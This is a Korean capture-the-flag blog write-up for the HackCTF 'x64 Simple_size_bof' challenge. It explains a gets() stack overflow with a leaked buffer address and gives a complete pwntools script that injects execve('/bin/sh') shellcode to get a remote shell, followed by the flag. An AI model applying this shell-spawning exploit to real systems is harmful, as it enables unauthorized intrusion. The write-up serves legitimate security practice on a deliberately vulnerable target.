-
x64 Simple_size_BOFCTF/HackCTF 2021. 1. 21. 02:00
Disassembly 디스어셈블리
undefined8 main(void) { char *s; setvbuf(_reloc.stdout, 0, 2, 0); puts("삐빅- 자살방지 문제입니다."); printf("buf: %p\n", &s); gets(&s); return 0; }
s의 주소를 출력하고, s에 입력을 받는 코드이다.
Stack address leak
p.recvuntil("buf: ") buf = int(p.recvline()[0:18], 16)
지역 변수 s의 주소는 스택 주소를 계산하는 데 사용할 수 있다.
RET Overwrite
스택 버퍼 오버플로우를 이용해 쉘코드를 스택에 삽입할 수 있고, s의 offset을 바탕으로 계산한 쉘코드의 주소로 return address를 덮으면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./Simple_size_bof" server = "ctf.j0n9hyun.xyz" port = 3005 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) # buf = rbp-0x6d30 p.recvuntil("buf: ") buf = int(p.recvline()[0:18], 16) print(hex(buf)) shellcode = asm(shellcraft.execve("/bin/sh",0,0)) payload = b"A"*0x6d38 payload += p64(buf+0x6d40) payload += shellcode p.sendline(payload) p.interactive()
Flag
HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}
'CTF > HackCTF' 카테고리의 다른 글
Offset (0) 2021.01.21 Simple_Overflow_ver_2 (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21 내 버퍼가 흘러넘친다!!! (0) 2021.01.21 Basic_BOF #2 (0) 2021.01.21